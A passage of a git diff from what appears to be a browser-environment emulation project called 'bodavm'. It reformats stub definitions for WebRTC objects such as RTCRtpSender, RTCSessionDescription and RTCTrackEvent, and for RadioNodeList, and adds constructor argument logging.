enumerable:true, writable:true, value:function getStats (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "getStats", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpSender', "replaceTrack", {configurable:true, enumerable:true, writable:true, value:function replaceTrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "replaceTrack", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpSender', "setParameters", {configurable:true, enumerable:true, writable:true, value:function setParameters (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "setParameters", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpSender', "setStreams", {configurable:true, enumerable:true, writable:true, value:function setStreams (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "setStreams", arguments)}},'prototype'); +// RTCRtpSender对象 + +bodavm.memory.globalobj['RTCRtpSender'] = function RTCRtpSender() { + console.log_copy('RTCRtpSender 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCRtpSender)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCRtpSender'], "RTCRtpSender"); +bodavm.toolsFunc.defineProperty('RTCRtpSender', "getCapabilities", { + configurable: true, + enumerable: true, + writable: true, + value: function getCapabilities() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].undefined, "RTCRtpSender", "getCapabilities", arguments); + } +}); +bodavm.toolsFunc.defineProperty('RTCRtpSender', "track", { + configurable: true, + enumerable: true, + get: function track() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "track_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpSender', "transport", { + configurable: true, + enumerable: true, + get: function transport() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "transport_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpSender', "rtcpTransport", { + configurable: true, + enumerable: true, + get: function rtcpTransport() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "rtcpTransport_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpSender', "dtmf", { + configurable: true, + enumerable: true, + get: function dtmf() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "dtmf_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpSender', "createEncodedStreams", { + configurable: true, + enumerable: true, + writable: true, + value: function createEncodedStreams() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "createEncodedStreams", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpSender', "getParameters", { + configurable: true, + enumerable: true, + writable: true, + value: function getParameters() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "getParameters", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpSender', "getStats", { + configurable: true, + enumerable: true, + writable: true, + value: function getStats() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "getStats", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpSender', "replaceTrack", { + configurable: true, + enumerable: true, + writable: true, + value: function replaceTrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "replaceTrack", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpSender', "setParameters", { + configurable: true, + enumerable: true, + writable: true, + value: function setParameters() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "setParameters", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpSender', "setStreams", { + configurable: true, + enumerable: true, + writable: true, + value: function setStreams() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "setStreams", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/RTCRtpTransceiver.js b/env_xbb_lastest_jsdom/env/RTCRtpTransceiver.js index dfba2d75..d4abd410 100644 --- a/env_xbb_lastest_jsdom/env/RTCRtpTransceiver.js +++ b/env_xbb_lastest_jsdom/env/RTCRtpTransceiver.js @@ -1,11 +1,83 @@ -// RTCRtpTransceiver对象 -bodavm.memory.globalobj['RTCRtpTransceiver'] = function RTCRtpTransceiver(){if (!(this instanceof RTCRtpTransceiver)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCRtpTransceiver'], "RTCRtpTransceiver"); -bodavm.toolsFunc.defineProperty('RTCRtpTransceiver', "mid", {configurable:true, enumerable:true, get:function mid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "mid_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpTransceiver', "sender", {configurable:true, enumerable:true, get:function sender (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "sender_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpTransceiver', "receiver", {configurable:true, enumerable:true, get:function receiver (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "receiver_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpTransceiver', "stopped", {configurable:true, enumerable:true, get:function stopped (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "stopped_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpTransceiver', "direction", {configurable:true, enumerable:true, get:function direction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "direction_get", arguments)}, set:function direction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "direction_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpTransceiver', "currentDirection", {configurable:true, enumerable:true, get:function currentDirection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "currentDirection_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpTransceiver', "setCodecPreferences", {configurable:true, enumerable:true, writable:true, value:function setCodecPreferences (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "setCodecPreferences", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpTransceiver', "stop", {configurable:true, enumerable:true, writable:true, value:function stop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "stop", arguments)}},'prototype'); +// RTCRtpTransceiver对象 + +bodavm.memory.globalobj['RTCRtpTransceiver'] = function RTCRtpTransceiver() { + console.log_copy('RTCRtpTransceiver 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCRtpTransceiver)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCRtpTransceiver'], "RTCRtpTransceiver"); +bodavm.toolsFunc.defineProperty('RTCRtpTransceiver', "mid", { + configurable: true, + enumerable: true, + get: function mid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "mid_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpTransceiver', "sender", { + configurable: true, + enumerable: true, + get: function sender() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "sender_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpTransceiver', "receiver", { + configurable: true, + enumerable: true, + get: function receiver() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "receiver_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpTransceiver', "stopped", { + configurable: true, + enumerable: true, + get: function stopped() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "stopped_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpTransceiver', "direction", { + configurable: true, + enumerable: true, + get: function direction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "direction_get", arguments); + }, + set: function direction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "direction_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpTransceiver', "currentDirection", { + configurable: true, + enumerable: true, + get: function currentDirection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "currentDirection_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpTransceiver', "setCodecPreferences", { + configurable: true, + enumerable: true, + writable: true, + value: function setCodecPreferences() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "setCodecPreferences", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpTransceiver', "stop", { + configurable: true, + enumerable: true, + writable: true, + value: function stop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "stop", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/RTCSctpTransport.js b/env_xbb_lastest_jsdom/env/RTCSctpTransport.js index 7a68bef1..4566399e 100644 --- a/env_xbb_lastest_jsdom/env/RTCSctpTransport.js +++ b/env_xbb_lastest_jsdom/env/RTCSctpTransport.js @@ -1,10 +1,61 @@ -// RTCSctpTransport对象 -bodavm.memory.globalobj['RTCSctpTransport'] = function RTCSctpTransport(){if (!(this instanceof RTCSctpTransport)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCSctpTransport'], "RTCSctpTransport"); -bodavm.memory.globalobj['RTCSctpTransport'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['RTCSctpTransport'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('RTCSctpTransport', "transport", {configurable:true, enumerable:true, get:function transport (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSctpTransport'].prototype, "RTCSctpTransport", "transport_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCSctpTransport', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSctpTransport'].prototype, "RTCSctpTransport", "state_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCSctpTransport', "maxMessageSize", {configurable:true, enumerable:true, get:function maxMessageSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSctpTransport'].prototype, "RTCSctpTransport", "maxMessageSize_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCSctpTransport', "maxChannels", {configurable:true, enumerable:true, get:function maxChannels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSctpTransport'].prototype, "RTCSctpTransport", "maxChannels_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCSctpTransport', "onstatechange", {configurable:true, enumerable:true, get:function onstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSctpTransport'].prototype, "RTCSctpTransport", "onstatechange_get", arguments)}, set:function onstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSctpTransport'].prototype, "RTCSctpTransport", "onstatechange_set", arguments)}},'prototype'); +// RTCSctpTransport对象 + +bodavm.memory.globalobj['RTCSctpTransport'] = function RTCSctpTransport() { + console.log_copy('RTCSctpTransport 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCSctpTransport)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCSctpTransport'], "RTCSctpTransport"); +bodavm.memory.globalobj['RTCSctpTransport'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['RTCSctpTransport'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('RTCSctpTransport', "transport", { + configurable: true, + enumerable: true, + get: function transport() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSctpTransport'].prototype, "RTCSctpTransport", "transport_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCSctpTransport', "state", { + configurable: true, + enumerable: true, + get: function state() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSctpTransport'].prototype, "RTCSctpTransport", "state_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCSctpTransport', "maxMessageSize", { + configurable: true, + enumerable: true, + get: function maxMessageSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSctpTransport'].prototype, "RTCSctpTransport", "maxMessageSize_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCSctpTransport', "maxChannels", { + configurable: true, + enumerable: true, + get: function maxChannels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSctpTransport'].prototype, "RTCSctpTransport", "maxChannels_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCSctpTransport', "onstatechange", { + configurable: true, + enumerable: true, + get: function onstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSctpTransport'].prototype, "RTCSctpTransport", "onstatechange_get", arguments); + }, + set: function onstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSctpTransport'].prototype, "RTCSctpTransport", "onstatechange_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/RTCSessionDescription.js b/env_xbb_lastest_jsdom/env/RTCSessionDescription.js index ff465b51..79a4f9e2 100644 --- a/env_xbb_lastest_jsdom/env/RTCSessionDescription.js +++ b/env_xbb_lastest_jsdom/env/RTCSessionDescription.js @@ -1,6 +1,42 @@ -// RTCSessionDescription对象 -bodavm.memory.globalobj['RTCSessionDescription'] = function RTCSessionDescription(){this._boarg= new bodaobj.window.RTCSessionDescription();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCSessionDescription'], "RTCSessionDescription"); -bodavm.toolsFunc.defineProperty('RTCSessionDescription', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSessionDescription'].prototype, "RTCSessionDescription", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSessionDescription'].prototype, "RTCSessionDescription", "type_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCSessionDescription', "sdp", {configurable:true, enumerable:true, get:function sdp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSessionDescription'].prototype, "RTCSessionDescription", "sdp_get", arguments)}, set:function sdp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSessionDescription'].prototype, "RTCSessionDescription", "sdp_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCSessionDescription', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSessionDescription'].prototype, "RTCSessionDescription", "toJSON", arguments)}},'prototype'); +// RTCSessionDescription对象 + +bodavm.memory.globalobj['RTCSessionDescription'] = function RTCSessionDescription() { + console.log_copy('RTCSessionDescription 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.RTCSessionDescription(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCSessionDescription'], "RTCSessionDescription"); +bodavm.toolsFunc.defineProperty('RTCSessionDescription', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSessionDescription'].prototype, "RTCSessionDescription", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSessionDescription'].prototype, "RTCSessionDescription", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCSessionDescription', "sdp", { + configurable: true, + enumerable: true, + get: function sdp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSessionDescription'].prototype, "RTCSessionDescription", "sdp_get", arguments); + }, + set: function sdp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSessionDescription'].prototype, "RTCSessionDescription", "sdp_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCSessionDescription', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSessionDescription'].prototype, "RTCSessionDescription", "toJSON", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/RTCStatsReport.js b/env_xbb_lastest_jsdom/env/RTCStatsReport.js index 1da9d02e..c81e99e5 100644 --- a/env_xbb_lastest_jsdom/env/RTCStatsReport.js +++ b/env_xbb_lastest_jsdom/env/RTCStatsReport.js @@ -1,10 +1,73 @@ -// RTCStatsReport对象 -bodavm.memory.globalobj['RTCStatsReport'] = function RTCStatsReport(){if (!(this instanceof RTCStatsReport)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCStatsReport'], "RTCStatsReport"); -bodavm.toolsFunc.defineProperty('RTCStatsReport', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCStatsReport'].prototype, "RTCStatsReport", "size_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCStatsReport', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCStatsReport'].prototype, "RTCStatsReport", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCStatsReport', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCStatsReport'].prototype, "RTCStatsReport", "forEach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCStatsReport', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCStatsReport'].prototype, "RTCStatsReport", "get", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCStatsReport', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCStatsReport'].prototype, "RTCStatsReport", "has", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCStatsReport', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCStatsReport'].prototype, "RTCStatsReport", "keys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCStatsReport', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCStatsReport'].prototype, "RTCStatsReport", "values", arguments)}},'prototype'); +// RTCStatsReport对象 + +bodavm.memory.globalobj['RTCStatsReport'] = function RTCStatsReport() { + console.log_copy('RTCStatsReport 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCStatsReport)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCStatsReport'], "RTCStatsReport"); +bodavm.toolsFunc.defineProperty('RTCStatsReport', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCStatsReport'].prototype, "RTCStatsReport", "size_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCStatsReport', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCStatsReport'].prototype, "RTCStatsReport", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCStatsReport', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCStatsReport'].prototype, "RTCStatsReport", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCStatsReport', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCStatsReport'].prototype, "RTCStatsReport", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCStatsReport', "has", { + configurable: true, + enumerable: true, + writable: true, + value: function has() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCStatsReport'].prototype, "RTCStatsReport", "has", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCStatsReport', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCStatsReport'].prototype, "RTCStatsReport", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCStatsReport', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCStatsReport'].prototype, "RTCStatsReport", "values", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/RTCTrackEvent.js b/env_xbb_lastest_jsdom/env/RTCTrackEvent.js index 1b21195f..e3c4914c 100644 --- a/env_xbb_lastest_jsdom/env/RTCTrackEvent.js +++ b/env_xbb_lastest_jsdom/env/RTCTrackEvent.js @@ -1,9 +1,51 @@ -// RTCTrackEvent对象 -bodavm.memory.globalobj['RTCTrackEvent'] = function RTCTrackEvent(){if (!(this instanceof RTCTrackEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCTrackEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCTrackEvent'], "RTCTrackEvent"); -bodavm.memory.globalobj['RTCTrackEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['RTCTrackEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('RTCTrackEvent', "receiver", {configurable:true, enumerable:true, get:function receiver (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCTrackEvent'].prototype, "RTCTrackEvent", "receiver_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCTrackEvent', "track", {configurable:true, enumerable:true, get:function track (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCTrackEvent'].prototype, "RTCTrackEvent", "track_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCTrackEvent', "streams", {configurable:true, enumerable:true, get:function streams (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCTrackEvent'].prototype, "RTCTrackEvent", "streams_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCTrackEvent', "transceiver", {configurable:true, enumerable:true, get:function transceiver (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCTrackEvent'].prototype, "RTCTrackEvent", "transceiver_get", arguments)}, set:undefined},'prototype'); +// RTCTrackEvent对象 + +bodavm.memory.globalobj['RTCTrackEvent'] = function RTCTrackEvent() { + console.log_copy('RTCTrackEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCTrackEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCTrackEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCTrackEvent'], "RTCTrackEvent"); +bodavm.memory.globalobj['RTCTrackEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['RTCTrackEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('RTCTrackEvent', "receiver", { + configurable: true, + enumerable: true, + get: function receiver() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCTrackEvent'].prototype, "RTCTrackEvent", "receiver_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCTrackEvent', "track", { + configurable: true, + enumerable: true, + get: function track() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCTrackEvent'].prototype, "RTCTrackEvent", "track_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCTrackEvent', "streams", { + configurable: true, + enumerable: true, + get: function streams() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCTrackEvent'].prototype, "RTCTrackEvent", "streams_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCTrackEvent', "transceiver", { + configurable: true, + enumerable: true, + get: function transceiver() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCTrackEvent'].prototype, "RTCTrackEvent", "transceiver_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/RadioNodeList.js b/env_xbb_lastest_jsdom/env/RadioNodeList.js index 4f4e3b19..67e74ea7 100644 --- a/env_xbb_lastest_jsdom/env/RadioNodeList.js +++ b/env_xbb_lastest_jsdom/env/RadioNodeList.js @@ -1,6 +1,29 @@ -// RadioNodeList对象 -bodavm.memory.globalobj['RadioNodeList'] = function RadioNodeList(){if (!(this instanceof RadioNodeList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RadioNodeList'], "RadioNodeList"); -bodavm.memory.globalobj['RadioNodeList'].prototype.__proto__=bodavm.memory.globalobj['NodeList'].prototype; -bodavm.memory.globalobj['RadioNodeList'].__proto__=bodavm.memory.globalobj['NodeList']; -bodavm.toolsFunc.defineProperty('RadioNodeList', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RadioNodeList'].prototype, "RadioNodeList", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RadioNodeList'].prototype, "RadioNodeList", "value_set", arguments)}},'prototype'); +// RadioNodeList对象 + +bodavm.memory.globalobj['RadioNodeList'] = function RadioNodeList() { + console.log_copy('RadioNodeList 实例化对象参数为 ->', 